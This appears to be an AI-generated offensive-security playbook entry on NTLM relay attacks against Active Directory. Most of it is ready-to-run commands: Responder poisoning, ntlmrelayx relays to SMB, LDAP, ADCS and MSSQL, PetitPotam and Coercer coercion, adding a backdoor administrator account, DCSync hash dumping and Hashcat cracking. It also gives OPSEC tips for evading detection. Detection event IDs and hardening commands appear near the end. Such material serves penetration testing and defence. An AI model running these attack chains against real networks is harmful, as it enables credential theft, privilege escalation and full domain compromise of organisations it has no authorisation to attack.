AD ^: Active Directory

Attack #7 — NTLM Relay Attacks

NTLM relay is a man-in-the-middle attack that intercepts an NTLM authentication challenge-response in transit and forwards it to a different target before…

advanced updated 2026-08-10 Nmap · NetExec · Impacket · Rubeus

🔴 Attack #7 — NTLM Relay Attacks


📖 How It Works

NTLM relay is a man-in-the-middle attack that intercepts an NTLM authentication challenge-response in transit and forwards it to a different target before the original session completes. The attacker never needs to crack or possess the password — they simply sit between the authenticating client and a vulnerable target server, acting as a transparent proxy that relays the victim’s credentials to gain access as them. The entire attack hinges on one critical misconfiguration: SMB signing not being enforced on the target, which means the relayed authentication cannot be cryptographically verified as originating from the correct source.

The NTLM three-way handshake is the mechanism being abused: the client sends a NEGOTIATE, the server responds with a CHALLENGE, and the client replies with an AUTHENTICATE response containing the Net-NTLMv2 hash. The attacker receives the victim’s AUTHENTICATE response and immediately replays it against a target server of their choosing. Because Net-NTLMv2 is tied to the specific challenge issued by the server, you cannot crack and reuse it for PtH — but you absolutely can relay it live.

⚠️ Windows 11 / Server 2025: SMB signing required by default in Windows 11 24H2+, fundamentally altering the attack landscape. NTLM is on Microsoft’s deprecation timeline with Kerberos as the replacement. Organizations in transition periods are most vulnerable — partial enforcement creates windows where relay remains viable. Check SMB config per target; never assume blanket hardening.

NTLM Relay vs Pass-the-Hash — Critical Distinction

PropertyNTLM RelayPass-the-Hash
What you captureNet-NTLMv2 challenge-response (live)NT hash (from LSASS/SAM)
Can be cracked?Yes (Hashcat -m 5600) but slowN/A — already a hash
Can be replayed for PtH?❌ No✅ Yes
Requires live session✅ Must relay in real time❌ Offline
Requires SMB signing disabled✅ On target
Credential access level neededNone (intercept only)Local admin for LSASS dump

The Full Attack Flow

1. Identify targets with SMB signing not enforced (nmap / nxc scan)
2. Build relay target list (machines where victim has admin or useful access)
3. Start Responder in "listen only" mode (disable SMB/HTTP servers)
4. Start ntlmrelayx pointing at target list
5. Trigger NTLM authentication from victim:
   - LLMNR/NBT-NS/mDNS poisoning (passive — wait for victim to make typo)
   - Active coercion (PetitPotam, PrinterBug, mitm6)
6. Responder poisons the name resolution → victim authenticates to attacker
7. ntlmrelayx receives Net-NTLMv2 → relays to target server
8. Gain access as victim:
   - SMB shell / command execution
   - SAM/NTDS hash dump
   - LDAP — add new DA account, DCSync rights, Shadow Credentials
   - ADCS — request machine certificate → full domain compromise

Attack #7, #8, #9 form a trilogy:

  • #7 (NTLM Relay): The relay mechanism itself
  • #8 (LLMNR/NBT-NS/mDNS): Primary auth trigger for #7
  • #9 (mitm6): IPv6-based alternative trigger for #7

Coercion references:

  • #33 (ESC8): ADCS endpoint relay target
  • #41 (PetitPotam): Coerce DC auth into relay
  • #42 (PrinterBug): Coerce via Print Spooler
  • #77 (DFSCoerce): Alternate coercion method

⚙️ Prerequisites

RequirementDetail
SMB signing not enforced on targetThe single most critical requirement — signed SMB blocks relay to SMB
NTLM enabledMust be allowed in domain; increasingly disabled in modern environments
Network positionMust be on same subnet / broadcast domain as victim to poison name resolution
Relay-capable targetSMB (445), LDAP (389/636), HTTP, MSSQL, SMTP, RPC — multiple protocols supported
Victim triggers NTLM authVia typo, coercion, or poisoned name resolution

🛠️ Tools

ToolPlatformRole
ResponderLinuxName resolution poisoner (LLMNR/NBT-NS/mDNS) — captures NTLM auth
ntlmrelayx.py (Impacket)LinuxCore relay engine — supports SMB, LDAP, LDAPS, HTTP, MSSQL, RPC, ADCS
mitm6LinuxIPv6 DNS spoofing — forces NTLM auth via rogue DHCPv6 server
MultiRelay.pyLinuxAlternative relay tool; simpler setup
CrackMapExec / NetExecLinuxEnumerate SMB signing status; verify access post-relay
NmapLinuxsmb2-security-mode.nse — identify signing enforcement status
PetitPotamLinux/WinCoerce DC authentication → relay to ADCS for certificate
HashcatLinux/WinCrack captured Net-NTLMv2 hashes (mode 5600) if relay not viable
KrbrelayxLinuxKerberos relay — relays Kerberos tickets instead of NTLM (more modern)
Coercer.pyLinuxMulti-protocol coercion — centralized coercion orchestration

💻 Full Commands

🔵 Step 0 — Identify Relay Targets (SMB Signing Status)

# ── Nmap — check SMB signing on specific host ─────────────────────────────────
nmap --script smb2-security-mode.nse -p 445 10.10.10.0/24

# Key output — "Message signing enabled but not required" = VULNERABLE
# "Message signing enabled and required" = NOT vulnerable to SMB relay

# ── NetExec — fast subnet-wide SMB signing check ─────────────────────────────
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# Automatically generates a file of IPs where signing is NOT enforced

# ── NetExec — manual check with verbose output ───────────────────────────────
nxc smb 10.10.10.0/24
# Look for 'signing:False' in output — those are your relay targets

# ── Check LDAP signing enforcement ────────────────────────────────────────────
nxc ldap 10.10.10.10 -u '' -p '' --ldap-signing

🔴 Core Setup — Responder + ntlmrelayx (SMB Relay)

# ── STEP 1: Edit Responder config — DISABLE SMB and HTTP servers ──────────────
# (Critical: if Responder responds to auth itself, you can't relay it)
nano /etc/responder/Responder.conf
# Set:  SMB = Off
#       HTTP = Off

# ── STEP 2: Start Responder to poison name resolution ─────────────────────────
sudo responder -I eth0 -rdwv
# -r  = enable answers for NetBIOS wredir suffix queries
# -d  = enable answers for NBNS domain suffix queries
# -w  = start WPAD rogue proxy server
# -v  = verbose

# ── STEP 3: Start ntlmrelayx pointing at relay target list ────────────────────

# Basic relay to list of targets — interactive SMB shell
ntlmrelayx.py -tf relay_targets.txt -smb2support -i
# -i = interactive shell mode (connect via nc localhost 11000)
# -smb2support = support SMBv2

# Relay and execute a command directly
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami > C:\pwned.txt"

# Relay and dump SAM hashes (no shell needed)
ntlmrelayx.py -tf relay_targets.txt -smb2support

# ── STEP 4: When relay succeeds, connect to interactive shell ─────────────────
nc 127.0.0.1 11000
# You now have an SMB shell as the relayed victim user

🔴 LDAP Relay — Domain Privilege Escalation (No SMB Signing Required on LDAP)

# ── Relay to LDAP — auto-escalate: create new DA user ─────────────────────────
ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --escalate-user low_user

# ── Relay to LDAP — add DCSync rights to controlled account ──────────────────
ntlmrelayx.py -t ldap://DC01.corp.local -smb2support --escalate-user low_user
# ntlmrelayx automatically adds Replication-Get-Changes-All to low_user
# Then run DCSync:
secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local

# ── Relay to LDAPS — dump full domain info (no signing required on LDAPS) ─────
ntlmrelayx.py -t ldaps://10.10.10.10 -smb2support --dump-adcs
ntlmrelayx.py -t ldaps://10.10.10.10 -smb2support --dump-laps

# ── Relay to LDAP — Shadow Credentials attack (add msDS-KeyCredentialLink) ────
ntlmrelayx.py -t ldap://10.10.10.10 --shadow-credentials \
  --shadow-target 'WORKSTATION01$' --no-validate-privs --no-dump --no-da
# After success: use the generated .pfx to get a TGT via PKINIT
# Workflow:
#   1. Relay relayed auth to LDAP with --shadow-credentials
#   2. ntlmrelayx generates a .pfx certificate file with new key credential
#   3. Extract private key from .pfx (openssl)
#   4. Use Rubeus/pyKerb to request TGT for target machine
#   5. Access as target machine account (e.g., DC, service account)

# ── Relay to LDAP — add new computer account (MAQ abuse) ─────────────────────
ntlmrelayx.py -t ldap://10.10.10.10 --add-computer EVILPC EvilPass123!

🔴 ADCS Relay — Full Domain Compromise (ESC8 Preview — Deep Dive in Attack #33)

# ── Relay to ADCS HTTP endpoint (certsrv) — request DC machine certificate ────
# First, identify ADCS server
nxc ldap 10.10.10.10 -u low_user -p 'Password1' -M adcs

# Start relay targeting ADCS web enrollment
ntlmrelayx.py -t http://ADCS01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template "DomainController"

# Coerce DC authentication to attacker machine (PetitPotam — Attack #41)
python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
  <attacker_ip> <DC_IP>

# ntlmrelayx relays DC auth to ADCS → receives base64 certificate for DC$
# Use Rubeus to request TGT for the DC using the certificate
.\Rubeus.exe asktgt /user:DC01$ /certificate:<base64_cert> /ptt

# Now perform DCSync as DC01$ (has replication rights by default)
secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local
# Game over — all domain hashes dumped

🔴 SMB Relay with Specific Target (Single High-Value Host)

# Target a specific machine instead of a list
ntlmrelayx.py -t smb://10.10.10.20 -smb2support -i

# Execute specific commands on target
ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
  -c "net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add"

# Relay to MSSQL and execute commands via xp_cmdshell
ntlmrelayx.py -t mssql://10.10.10.30 -smb2support -q "exec xp_cmdshell 'whoami'"

# Relay to multiple different protocols simultaneously
ntlmrelayx.py -tf relay_targets.txt -smb2support \
  -t ldap://10.10.10.10 -t smb://10.10.10.20

🔴 Kerberos Relay (Krbrelayx) — Beyond NTLM

# ── Krbrelayx — relay Kerberos tickets instead of NTLM (more modern, stealthier)
# Setup: listen for Kerberos auth and relay to target service
python3 krbrelayx.py --krbsock 127.0.0.1:3333 -target smb://10.10.10.20 -spn cifs/10.10.10.20

# From another terminal, use a tool that initiates Kerberos auth toward krbrelayx
# Example: obtain a Kerberos TGS and relay it
# Advantages over NTLM relay:
#   - Bypasses NTLM restrictions on newer Windows versions
#   - Relayed ticket can be used for multiple targets
#   - Less logging (Kerberos tickets are expected in normal auth)

# ── Krbrelayx with specific TGS delegation ────────────────────────────────────
# Relay TGS to impersonate users
python3 krbrelayx.py -spn cifs/target.corp.local --krbsock 127.0.0.1:3333

🔴 Capturing & Cracking Net-NTLMv2 (Alternative if Relay Blocked)

# ── Responder captures Net-NTLMv2 hashes (when relay isn't viable) ────────────
# Enable SMB and HTTP in Responder.conf (opposite config from relay)
sudo responder -I eth0 -rdwv

# Hashes saved to: /usr/share/responder/logs/
ls /usr/share/responder/logs/

# ── Crack Net-NTLMv2 with Hashcat (mode 5600) ─────────────────────────────────
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt

# With rules
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Hash format looks like:
# Administrator::CORP:aabbccddeeff0011:Hash:ChallengeResponse

🔴 Triggering NTLM Authentication (Coercion Methods)

# ── Method 1: LLMNR/NBT-NS Poisoning (passive — wait for typo) ───────────────
# Just run Responder and wait — any victim who mistypes a hostname will
# trigger NTLM auth to your machine automatically

# ── Method 2: PetitPotam (coerce DC auth) ────────────────────────────────────
python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
  <attacker_ip> <DC_IP>

# ── Method 3: PrinterBug / SpoolSample (coerce any host with Print Spooler) ──
python3 SpoolSample.py <target_ip> <attacker_ip>

# ── Method 4: Coercer.py (multi-protocol coercion toolkit) ────────────────────
python3 Coercer.py coerce -u low_user -p 'Password1' -d corp.local \
  -l <attacker_ip> -t <target_ip>
# Coercer supports multiple coercion methods:
#   - [+] PetitPotam (EFS RPC)
#   - [+] PrinterBug (Spooler RPC)
#   - [+] DFSCoerce (NetDFS RPC)
#   - [+] ShadowCoerce (VSS RPC)
#   - [+] WebClient coercion (via HTTP forcing)
# Automatically rotates through available methods

# Full syntax:
python3 Coercer.py coerce \
  -u low_user \
  -p 'Password1' \
  -d corp.local \
  -l 192.168.1.100 \
  -t 192.168.1.50 \
  --method all  # Try all coercion methods

# ── Method 5: mitm6 (IPv6 coercion — covered in Attack #9) ───────────────────
sudo mitm6 -d corp.local
ntlmrelayx.py -6 -t ldaps://DC01.corp.local -smb2support \
  --add-computer EVILPC EvilPass123!

# ── Method 6: DFSCoerce (Attack #77) — reliable RPC coercion ─────────────────
python3 DFSCoerce.py -d corp.local -u low_user -p 'Password1' \
  <attacker_ip> <target_ip>

🎯 OPSEC Tips

  • Always disable SMB/HTTP in Responder when running ntlmrelayx — if Responder responds first, the relay chain breaks
  • Target LDAP over SMB when possible — LDAP relay grants persistent privileges (DCSync rights, new accounts) rather than just a shell
  • ADCS relay is the most destructive — a single relayed DC machine account auth → certificate → TGT → DCSync → full domain in under 60 seconds
  • Don’t relay back to the victim’s own machine — Windows blocks loopback NTLM relay; you’ll waste the auth attempt
  • Use --no-da --no-acl flags in ntlmrelayx when you don’t want noisy LDAP modifications and just want to dump info first
  • Rotate relay targets — hitting the same target repeatedly increases detection probability
  • Check for LDAP channel binding — LDAPS with channel binding enabled blocks LDAP relay even without signing
  • Krbrelayx for modern environments — Organizations phasing out NTLM use Kerberos relay instead; blend in with legitimate auth
  • DFSCoerce as coercion fallback — More reliable than PrinterBug on patched systems; less logged than PetitPotam
  • Time-to-execute: LLMNR trigger → relay → DA access in 2-5 minutes if fully automated; ADCS relay slightly longer due to certificate generation

🧩 Troubleshooting

ErrorCauseFix
STATUS_ACCESS_DENIED on relayTarget rejects relayed auth (signing enabled or channel binding active)Verify SMB signing status with nxc smb <IP> | grep signing. Check for channel binding on LDAP with nxc ldap <IP> --ldap-signing
LDAP signing required — relay failsLDAP signing enforced on domain controllerRelay to LDAPS (636) instead; if both fail, target is hardened — move to next target
Channel binding failureLDAPS with EPA (Enhanced Protection) enabledNo LDAP relay possible; use SMB or ADCS targets instead; check Get-ADOrganizationalUnit for hardening level
ntlmrelayx connection timeoutTarget doesn’t respond or firewall blocks outbound relay attemptVerify target is actually vulnerable (signing check), ensure network path is open, try -vv verbose flag to see handshake details
Responder and ntlmrelayx not working togetherSMB/HTTP still enabled in Responder.confEdit /etc/responder/Responder.conf: SMB = Off, HTTP = Off; restart both tools
“No suitable relay target found”All targets have SMB signing enabledExpand scope: scan more subnets, or pivot to LDAP/ADCS relay instead of SMB-only
Certificate not issued by ADCS during relayWeb enrollment endpoint requires specific cert template permissionsVerify template access with certutil -catemplates; template may require DCSync rights; use --template "*" to auto-select
ntlmrelayx receives auth but relay fails silentlySMB relay receiving client auth but target rejects it (bad signing check/wrong user perms)Run with -vv to see full relay handshake; verify user has admin on target; test with manual SMB shell first

🗺️ MITRE ATT&CK

Technique: T1557.001 — Adversary-in-the-Middle

Tactics:

  • TA0006: Credential Access — Capture NTLM hashes via man-in-the-middle
  • TA0008: Lateral Movement — Use relayed credentials to pivot to target systems

APT Groups Using NTLM Relay:

  • APT28 (Fancy Bear) — Documented NTLM relay in internal networks
  • APT29 (Cozy Bear) — Active Directory lateral movement via relay techniques
  • APT41 — Relay attacks in post-compromise movement
  • Wizard Spider — NTLM relay for domain escalation in ransomware campaigns
  • Scattered Spider — Multi-stage relay attacks for persistence

Related techniques:

  • T1040: Network Sniffing
  • T1187: Forced Authentication
  • T1550.001: Pass the Ticket (Kerberos relay equivalent)
  • T1550.002: Pass the Hash (related credential reuse)

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4624Security LogLogon Type 3 (network) — source IP doesn’t match the account’s known workstation
4776Security LogNTLM credential validation — source machine is unexpected for the authenticating user
4768 / 4769Security LogKerberos tickets requested immediately after NTLM logon — attacker pivoting
4741Security LogNew computer account created — ntlmrelayx --add-computer
4728 / 4732Security LogUser added to privileged group — escalation via LDAP relay
4662Security LogOperation performed on AD object — DCSync rights being added via LDAP relay
5145Security LogNetwork share object checked — SMB relay access attempts
LDAP query logsDC DiagnosticUnusual LDAP modifications from a low-privilege account (adding ACEs, computer accounts)

Primary detection signature: Event 4624 Type 3 logon where the source workstation name doesn’t match the account’s registered computer — this is the clearest relay indicator. On modern SIEMs, correlating a Responder poison event (DNS/LLMNR anomalies) with a subsequent 4624 from a new source IP is near-definitive.

Sigma Rules (SigmaHQ)

Rule ID: detection_ntlm_relay_credential_access
Description: Detects multiple LLMNR/NBT-NS queries answered by same source IP
Event filter: Unusual responder patterns; multiple different hostnames answered by single IP
Status: MEDIUM severity

Rule ID: detection_ldap_relay_escalation
Description: Detects LDAP modifications from unexpected source during relay window
Event filter: msDS-KeyCredentialLink modifications, DCSync ACL adds from non-DC source
Status: HIGH severity

EDR Detections

Microsoft Defender for Identity:

  • Alert: “Suspected NTLM relay attack” — detects source IP responding to multiple authentication queries
  • Alert: “Unusual LDAP query” — flags DCSync right additions from unexpected principals
  • Alert: “Suspicious computer account creation” — MAQ abuse detection

Falcon (CrowdStrike):

  • Network signature: “Lateral movement — SMB relay activity”
  • Process: ntlmrelayx.py execution detected
  • Behavioral: Privilege escalation via LDAP modification

Hardening Commands

# ── Enable SMB signing on all machines ───────────────────────────────────────
# GPO: Computer Configuration → Admin Templates → Network → SMB Server
# Set: "Digitally sign communications (if client agrees)" → Enabled AND "required"

# ── Registry-based (direct on host) ──────────────────────────────────────────
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v EnableSecuritySignature /t REG_DWORD /d 1 /f

# ── Enforce SMB Signing via PowerShell (immediate) ────────────────────────────
$path = "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
Set-ItemProperty -Path $path -Name RequireSecuritySignature -Value 1 -Force
Set-ItemProperty -Path $path -Name EnableSecuritySignature -Value 1 -Force
Restart-Service LanmanServer -Force

# ── Enable LDAP signing (block LDAP relay) ──────────────────────────────────
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LDAPServerIntegrity /t REG_DWORD /d 2 /f
# Value: 0 = None, 1 = Negotiate signing, 2 = Required

# ── Enable LDAP channel binding (block LDAPS relay even without signing) ───────
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v "CBT Extended Protection" /t REG_DWORD /d 1 /f

# ── Disable NTLM entirely (most aggressive) ──────────────────────────────────
# GPO: Computer Configuration → Admin Templates → Network → Restrict NTLM
# Set: "Restrict NTLM: Outgoing NTLM traffic from all computers" → Deny All

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictNTLMInDomain /t REG_DWORD /d 7 /f
# 7 = Deny for all, 4 = Deny for servers only

# ── Configure EPA (Extended Protection for Authentication) ────────────────────
# GPO: Computer Configuration → Admin Templates → Network → NTLM →
# Set: "Extended Protection for NTLM Authentication Service" → Required

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v ExtendedProtectionLevel /t REG_DWORD /d 2 /f
# 0 = Off, 1 = Allow (compatible), 2 = Required (most secure)

# ── Verify all settings applied ──────────────────────────────────────────────
.\Verify-SMBSigning.ps1  # Custom script to audit all machines

🔗 Attack Chain Context

[NTLM Relay] ──→ Multiple Escalation Paths Depending on Target Protocol

         ├──→ SMB Relay → shell/code execution as victim user → LSASS dump → PtH
         ├──→ LDAP Relay → add DCSync ACE to own account → dump all hashes
         ├──→ LDAP Relay → Shadow Credentials → PKINIT TGT → DA access
         ├──→ ADCS Relay (ESC8) → DC machine cert → TGT → DCSync → game over
         ├──→ MSSQL Relay → xp_cmdshell → code execution as SQL service account
         ├──→ Kerberos Relay (Krbrelayx) → TGS relay → multi-target lateral move
         └──→ Net-NTLMv2 capture → Hashcat crack → valid plaintext credentials

Protocol Relay Compatibility Matrix

Relay TargetSMB Signing Needed?LDAP Signing Needed?Channel BindingPrivilege Impact
SMBMust be disabledN/AN/AShell/code exec as victim
LDAPN/AMust be disabledMust be disabledACL modification, user creation
LDAPSN/AN/AMust be disabledSame as LDAP but encrypted
ADCS HTTPN/AN/AN/ACertificate → TGT → DCSync
MSSQLN/AN/AN/Axp_cmdshell code execution

Attack #7 — NTLM Relay complete. Tell me to move on when you’re ready for Attack #8 — LLMNR / NBT-NS / mDNS Poisoning.

Sources NTLM relay | The Hacker Recipes https://www.thehacker.recipes/ad/movement/ntlm/relay CQURE Hacks #68: NTLM Relay Attacks Explained and Why It’s … https://cqureacademy.com/blog/ntlm-relay-attacks-and-why-to-phase-out/ SMB Relay Attacks and Active Directory - TCM Security https://tcm-sec.com/smb-relay-attacks-and-how-to-prevent-them/ Understanding NTLM Authentication and NTLM Relay Attacks https://www.vaadata.com/blog/understanding-ntlm-authentication-and-ntlm-relay-attacks/ NTLM Relay Attacks in Practice: Exploiting Missing SMB Signing https://cqureacademy.com/blog/ntlm-relay-attacks-exploiting-missing-smb-signing/ Network Relaying Abuse in a Windows Domain https://www.lrqa.com/en/cyber-labs/network-relaying-abuse-windows-domain/ NTLM Relay Attacks Targeting Microsoft Domain Controllers https://cloudsecurityalliance.org/blog/2022/08/11/detecting-and-mitigating-ntlm-relay-attacks-targeting-microsoft-domain-controllers An Open-Source Approach to Detect Pass-the-Hash Attack in Active Directory Using Wazuh and Sysmon https://link.springer.com/10.1134/S0361768825700483 Penetration Testing and Exploitation of Active Directory Configuration Vulnerabilities https://ieeexplore.ieee.org/document/10895772/ Bridging Bridging Gaps in Active Directory Security: Threat Landscape, Limitations, and Future-Proof Solutions https://ijeci.lgu.edu.pk/index.php/ijeci/article/view/3 AUTHENTICATION METHODS IN ACTIVE DIRECTORY AND THEIR IMPACT ON CORPORATE ENVIRONMENT SECURITY https://csecurity.kubg.edu.ua/index.php/journal/article/view/807 Penetration Testing Platforms for Active Directory Network Environment https://www.ijltemas.in/DigitalLibrary/Vol.13Issue4/06-10.pdf Cyber Kill Chain Framework Approach to Map Potential Attack Vectors on Windows-based OS https://ijecbe.ui.ac.id/go/article/view/107 Kerberos under Attack https://www.semanticscholar.org/paper/3af20812633e95bb2062ed94528c116769cbd2aa Privilege Escalation Exploiting MS Exchange https://www.semanticscholar.org/paper/01175ce9630f49d7434518c30f8a0468213090b2 Honey Onions: Exposing Snooping Tor HSDir Relays https://www.semanticscholar.org/paper/3ff1793ac5036dbc68b669ac43d4b0c235ea0745 Hacking Exposed Windows 2000: Network Security Secrets and Solutions https://www.semanticscholar.org/paper/e7b97bd62a710d9dde5e45be9b53c356fd309d52 Detecting Forged Kerberos Tickets in an Active Directory Environment https://arxiv.org/ftp/arxiv/papers/2301/2301.00044.pdf Preventing Time Synchronization in NTP’s Broadcast Mode https://arxiv.org/pdf/2005.01783.pdf Securing Wi-Fi 6 Connection Establishment Against Relay and Spoofing Threats http://arxiv.org/pdf/2501.01517.pdf HADES: Detecting Active Directory Attacks via Whole Network Provenance Analytics http://arxiv.org/pdf/2407.18858.pdf Optimizing Cyber Response Time on Temporal Active Directory Networks Using Decoys http://arxiv.org/pdf/2403.18162.pdf Applying recent secure element relay attack scenarios to the real world: Google Wallet Relay Attack http://arxiv.org/pdf/1209.0875.pdf The Impact of DNS Insecurity on Time https://arxiv.org/pdf/2010.09338.pdf Spoiled Onions: Exposing Malicious Tor Exit Relays http://arxiv.org/pdf/1401.4917.pdf KB5005413: Mitigating NTLM Relay Attacks on Active Directory … https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429 Windows 11 will require SMB signing to prevent NTLM relay attacks https://neosolutions.ca/windows-11-will-require-smb-signing-to-prevent-ntlm-relay-attacks/ Unpatched AD CS Vulnerability Exploitation with NTLMRelayx https://www.youtube.com/watch?v=8M9kbWE1wyM Practical SMB Relay Attack - YouTube https://www.youtube.com/watch?v=9i5rBOkkjC0 Exploring Uncommon NTLM Relay Attack Techniques https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/ CQURE Hacks #68: NTLM Relay Attacks Explained — and Why It’s Time to Phase Out NTLM https://www.youtube.com/watch?v=7py2n9gwzko SMB Signing and NTLM Relay Attack Explained with Practical Demo https://www.youtube.com/watch?v=INRd9XAHaWU IPv6 Attack with MITM6 & NTLMRELAYX https://www.youtube.com/watch?v=AmcWc2CjXx8